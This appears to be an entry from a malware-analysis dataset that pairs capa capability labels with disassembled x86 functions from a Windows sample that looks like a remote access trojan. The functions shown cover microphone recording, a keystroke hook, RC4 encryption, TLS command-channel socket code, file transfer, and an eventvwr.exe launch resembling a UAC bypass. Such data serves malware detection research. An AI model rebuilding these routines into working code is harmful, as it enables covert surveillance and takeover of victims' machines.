joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4016ef
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
lea eax, [esp + 0x14]
mov esi, ecx
push eax
mov ecx, 0x471d30
mov edi, edx
call fcn.00401fa0
mov edx, dword [esp + 0x10]
xor eax, eax
inc eax
movzx ebx, di
mov word [0x46fa98], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0x46fa9c], edx
mov word [0x46faa6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0x46fa9a], si
addsd xmm0, qword [edx*8 + 0x469e70]
mov dword [0x46faa0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0x46faa8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x40184a
push 0x46fa98
push 0xffffffffffffffff
push 0x46fab8
mov word [0x46faa4], cx
mulss xmm0, dword [0x469e1c]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0x46faac], eax
mov dword [0x46fa70], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov ecx, esi
call fcn.004017cc
inc esi
cmp esi, 2
jb 0x4017a7
push dword [0x46fab8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [esp + 0xc]
pop ebx
jmp fcn.00401fb8

Function at 0x4017cc
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x46fa70]
mov esi, ecx
mov ebp, 0x471cf0
push esi
mov ecx, ebp
call fcn.00401e45
mov ecx, eax
call fcn.00401f7d
mov edi, dword [0x471d2c]
mov ebx, esi
shl ebx, 5
mov ecx, ebp
push esi
add edi, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dword [edi], eax
mov eax, dword [0x46fa70]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0x46fab8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x471d2c]
push 0x20
add eax, ebx
push eax
push dword [0x46fab8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x401a4d
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
movzx esi, word [0x46faa6]
mov ebx, edx
push edi
movzx edi, word [0x46fa9a]
xor ebp, ebp
imul esi, edi
push ebp
push 0x80
push 2
push ebp
mov eax, esi
mov dword [esp + 0x2c], 1
imul eax, dword [0x46fa9c]
push ebp
push 0x40000000
push ecx
mov dword [esp + 0x34], 0x10
shr eax, 3
mov dword [esp + 0x3c], eax
mov eax, esi
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
imul eax, edi
mov dword [esp + 0x44], eax
add eax, 0x24
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401acd
xor al, al
jmp 0x401bc1
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x10]
push ebp
push eax
push 4
pop ebp
push ebp
push 0x462d90
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.WAVE
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.fmt
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x24]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x28]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x46fa9a
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push 0x46fa9c
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x2c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x30]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x46faa6
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.data
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x34]
push eax
push edi
call esi
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x4048a8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x46facc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4049fb
cmp byte [edi + 1], al
je 0x4049f7
cmp byte [edi + 0x31], al
je 0x404906
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.004052fe
sub esp, 0x14
mov ecx, esp
push 0x462f54
call fcn.00402073
call fcn.004194da
add esp, 0x30
call fcn.0041ea15
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x404921
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x404a5b
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.0041ec44
cmp eax, 1
je 0x404967
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462eb8
call fcn.00402073
call fcn.004194da
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.0041ea55
and dword [edi + 0x4c], 0
jmp 0x404a77
mov ecx, dword [edi + 0x4c]
call fcn.0041f7f5
cmp eax, 1
je 0x4049a4
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462eb8
call fcn.00402073
call fcn.004194da
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.0041ee67
jmp 0x404956
mov ecx, dword [edi + 0x4c]
call fcn.0041ebbb
mov dword [edi + 0x50], eax
test eax, eax
jne 0x4049d9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462eb8
call fcn.00402073
call fcn.004194da
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x404a79
cmp byte [edi + 0x31], 0
je 0x404a77
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x404a77
sub ecx, 0x17
je 0x404a51
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0041a86b
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x462eb8
call fcn.00402073
call fcn.004194da
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00401fb8
jmp 0x404a77
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462eb8
call fcn.00402073
call fcn.004194da
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404a81
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.0040245c
push 4
pop esi
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
add eax, esi
push 0xc
mov dword [ebp - 8], eax
call fcn.004051ec
push esi
lea eax, [edi + 0x2c]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.004051c3
push eax
call fcn.004346b0
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push esi
call fcn.004051c3
push eax
call fcn.004346b0
add esp, 0xc
lea eax, [ebp + 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push 8
call fcn.004051c3
push eax
call fcn.004346b0
add esp, 0xc
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x20]
push eax
call fcn.00403356
cmp byte [edi + 1], bl
jne 0x404b20
push ebx
lea ecx, [ebp - 0x20]
call fcn.0040245c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401f8b
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x404b5b
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040245c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401f8b
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.0041edef
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x20]
call fcn.00401fb8
lea ecx, [ebp + 0xc]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x404b76
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x404bad
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0xc]
push ecx
push dword [esp + 0x14]
mov ecx, dword [edi + 0x4c]
call fcn.0041ee2b
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x404bc0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
ret 0xc

Function at 0x404bc5
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x404be1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 4
Function at 0x404ca3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.004020bf
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
mov ecx, edi
push eax
call fcn.00401f8b
push eax
mov ecx, esi
call fcn.00404edb
test al, al
je 0x404df3
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.0040245c
cmp ebp, eax
jbe 0x404d11
mov ecx, edi
mov bl, 1
call fcn.0040245c
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x404d13
xor bl, bl
test bl, bl
jne 0x404df3
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00404182
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.00404182
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
lea eax, [esp + 0x18]
test bh, bh
jne 0x404d84
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020d6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x404dc1
push eax
lea ecx, [esi + 0xc]
call fcn.00401fa0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.00404182
push eax
mov ecx, edi
call fcn.00401fc2
lea ecx, [esp + 0x30]
call fcn.00401fb8
mov ecx, edi
call fcn.0040245c
test eax, eax
lea eax, [esi + 0x58]
jne 0x404cc9
lea ecx, [esp + 0x18]
call fcn.00401fb8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x404f31
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x404fca
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x404f54
mov byte [esi + 0x7c], 1
jmp 0x404fa0
cmp byte [0x46fd10], 0
je 0x404fa0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.00419b16
sub esp, 0x18
mov edx, str.Connection_KeepAlive___Enabled__Timeout:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x462f54
call fcn.00402073
call fcn.004194da
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401fb8
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x405130
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x404fcc
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x4061e3
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x469e60]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x4061ed
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406233
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406212
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406252
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.004346b0
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x4062e2
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406298
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x4062ae
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x4062d5
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406287
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x4066a6
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp dword [0x46e9c0], 0
push esi
je 0x4066be
xor eax, eax
inc eax
jmp 0x40679b
call fcn.00406844
cmp eax, 0x3a9f
jge 0x40679b
push ecx
push 0x463050
push 0x4630c8
mov edx, connect
lea ecx, [ebp - 0x18]
call fcn.00411f91
pop ecx
pop ecx
mov esi, 0x472248
mov ecx, esi
call fcn.0040245c
push eax
mov ecx, esi
call fcn.00401f8b
push eax
lea ecx, [ebp - 0x18]
call fcn.0040245c
inc eax
lea ecx, [ebp - 0x18]
push eax
call fcn.00401f8b
push eax
push str.origmsc
mov ecx, 0x472200
call fcn.00401f8b
mov edx, eax
call fcn.00412338
add esp, 0x18
push 2
sub esp, 0x18
mov ecx, esp
push 0x46fb08
call fcn.0040415e
mov esi, 0x469654
mov edx, 0x4630f0
push esi
mov ecx, connect
call fcn.00412204
push str.eventvwr.exe
mov dl, 0x34
lea ecx, [ebp - 0x30]
call fcn.0040c5a1
add esp, 0x24
lea ecx, [ebp - 0x30]
push 0
push esi
push esi
call fcn.00401ee4
push eax
push 0x4630ac
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jbe 0x406788
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x30]
call fcn.00401ee9
lea ecx, [ebp - 0x18]
call fcn.00401fb8
push 2
pop eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4068cd
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x2a4]
push ebx
push ebp
push esi
push eax
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406917
sub esp, 0x18
lea edx, [esp + 0x2c8]
mov ecx, esp
call fcn.00419c8a
push 0x54
mov ecx, 0x471f70
call fcn.00404a81
jmp 0x4069de
lea ecx, [esp + 0x10]
call fcn.004020bf
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040415e
mov edx, 0x4631c8
mov ecx, eax
call fcn.00408197
lea ecx, [esp + 0x28]
mov bl, al
call fcn.00401ee9
mov ebp, 0x250
test bl, bl
je 0x4069aa
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x30]
call fcn.00402097
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc2
lea ecx, [esp + 0x28]
jmp 0x4069a5
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x48]
call fcn.00402097
push eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
call fcn.004081a6
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401fc2
lea ecx, [esp + 0x28]
call fcn.00401fb8
lea ecx, [esp + 0x40]
call fcn.00401fb8
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406970
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.004020d6
push 0x50
mov ecx, 0x471f70
call fcn.00404a81
lea ecx, [esp + 0x10]
call fcn.00401fb8
lea ecx, [esp + 0x2b0]
call fcn.00401ee9
pop esi
pop ebp
pop ebx
add esp, 0x2a0
ret
Function at 0x4069f4
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
mov eax, 0x186e4
call fcn.00454890
push ebx
push ebp
push esi
mov esi, ecx
lea edx, [esp + 0x186fc]
push edi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push 0x4631cc
lea ecx, [esp + 0x3c]
mov dword [esp + 0x20], ebx
call fcn.004081c7
pop ecx
push eax
lea ecx, [esp + 0x24]
call fcn.00403242
lea ecx, [esp + 0x38]
call fcn.00401ee9
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [esp + 0x38]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
mov eax, dword [esp + 0x186fc]
cmp dword [esp + 0x14], eax
ja 0x406add
mov edi, dword [esp + 0x186f8]
jae 0x406ad7
push ecx
push 0x186a0
lea eax, [esp + 0x58]
mov ecx, esi
push eax
call fcn.00404b76
mov esi, eax
cdq
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push ebx
adc dword [esp + 0x18], edx
push eax
push esi
lea eax, [esp + 0x5c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push 8
push eax
call fcn.00402097
mov ecx, dword [esp + 0x30]
push 0x57
call fcn.00404a81
test esi, esi
jle 0x406b25
mov eax, dword [esp + 0x186fc]
mov esi, dword [esp + 0x18]
cmp dword [esp + 0x14], eax
jb 0x406a74
ja 0x406add
cmp dword [esp + 0x10], edi
jb 0x406a74
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18700]
call fcn.00401ee4
push eax
lea ecx, [esp + 0x24]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401ee9
lea ecx, [esp + 0x18700]
call fcn.00401ee9
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x186e4
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
call fcn.00401ee4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x406b03

Function at 0x406b3e
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004020bf
lea ecx, [ebp + 8]
call fcn.00401f8b
mov edi, eax
jmp 0x406bc5
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.0043f34f
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402073
mov ecx, eax
call fcn.00401f8b
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.0040822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0040826c
pop ecx
push eax
mov ecx, esi
call fcn.00401fc2
lea ecx, [ebp - 0x1c]
call fcn.00401fb8
lea ecx, [ebp - 0x34]
call fcn.00401fb8
lea ecx, [ebp - 0x4c]
call fcn.00401fb8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x406b59
lea ecx, [ebp + 8]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409022
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x11c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x130]
add ecx, 0x90
push eax
call fcn.00401fa0
xor eax, eax
mov byte [esp + 0x14], al
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebp, 0x4720b8
mov ecx, ebp
call fcn.0040480d
push ecx
mov ecx, ebp
call fcn.004048a8
mov edi, 0x471ffc
push 0x12
mov ecx, edi
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
push 0x2a
mov ecx, edi
mov esi, eax
call fcn.00401e45
sub esp, 0x18
mov ebx, 0x471e78
mov edi, esp
mov ecx, 0x472068
push eax
push ebx
lea eax, [esp + 0x150]
push eax
push ebx
call fcn.00401ee4
mov ecx, eax
call fcn.0041a29f
mov edx, eax
lea ecx, [esp + 0x138]
call fcn.00419b16
mov edx, dword [0x4720b0]
lea ecx, [esp + 0x120]
push eax
push ebx
call fcn.00419b16
push eax
movzx eax, byte [esi]
lea edx, [esp + 0x48]
push ebx
push eax
push ebx
lea ecx, [esp + 0x120]
call fcn.004052fe
pop ecx
mov edx, eax
lea ecx, [esp + 0x104]
call fcn.0040826c
pop ecx
mov edx, eax
lea ecx, [esp + 0xe8]
call fcn.00402ef0
pop ecx
mov edx, eax
lea ecx, [esp + 0xcc]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0xb0]
call fcn.00402ef0
pop ecx
mov edx, eax
lea ecx, [esp + 0x94]
call fcn.00402e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x78]
call fcn.00402ef0
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ef0
pop ecx
mov edx, eax
lea ecx, [esp + 0x40]
call fcn.00402ef0
pop ecx
mov edx, eax
mov ecx, edi
call fcn.00402ef0
pop ecx
push 0x12
mov ecx, ebp
call fcn.00404a81
lea ecx, [esp + 0x20]
mov esi, eax
call fcn.00401fb8
lea ecx, [esp + 0x38]
call fcn.00401fb8
lea ecx, [esp + 0x50]
call fcn.00401fb8
lea ecx, [esp + 0x68]
call fcn.00401fb8
lea ecx, [esp + 0x80]
call fcn.00401fb8
lea ecx, [esp + 0x98]
call fcn.00401fb8
lea ecx, [esp + 0xb0]
call fcn.00401fb8
lea ecx, [esp + 0xc8]
call fcn.00401fb8
lea ecx, [esp + 0xe0]
call fcn.00401fb8
lea ecx, [esp + 0xf8]
call fcn.00401fb8
lea ecx, [esp + 0x110]
call fcn.00401fb8
lea ecx, [esp + 0x130]
call fcn.00401fb8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x11c
ret 0x18
Function at 0x409203
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x60]
mov byte [esi + 0x49], 1
call fcn.0040a83c
cmp byte [0x46e9c4], 0x32
mov edi, str.Offline_Keylogger_Started
je 0x409257
push edi
lea ecx, [esp + 0x14]
call fcn.00402073
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.00419bca
mov ecx, esi
call fcn.0040a0b0
lea ecx, [esp + 0x10]
call fcn.00401fb8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x462f54
call fcn.00402073
call fcn.004194da
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x409305
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40929d
push ebx
push ebx
push esi
push 0x4092ef
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x409311
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401ee9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x4092ba
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
lea eax, [esp + 8]
push eax
lea ecx, [esi + 0x60]
call fcn.0040a83c
cmp byte [esi + 0x49], 0
jne 0x4092e2
xor eax, eax
push eax
push eax
push esi
push 0x4092fb
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 8]
call fcn.00401ee9
pop esi
ret 0x18

Function at 0x409340
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x46faf4], esi
cmp dword [esi], edi
jne 0x4093bb
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x40932c
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x4093bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.00419b16
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x462eb8
call fcn.00402073
call fcn.004194da
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fb8
xor eax, eax
inc eax
jmp 0x4093e9
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x4093e7
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x4093bb
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret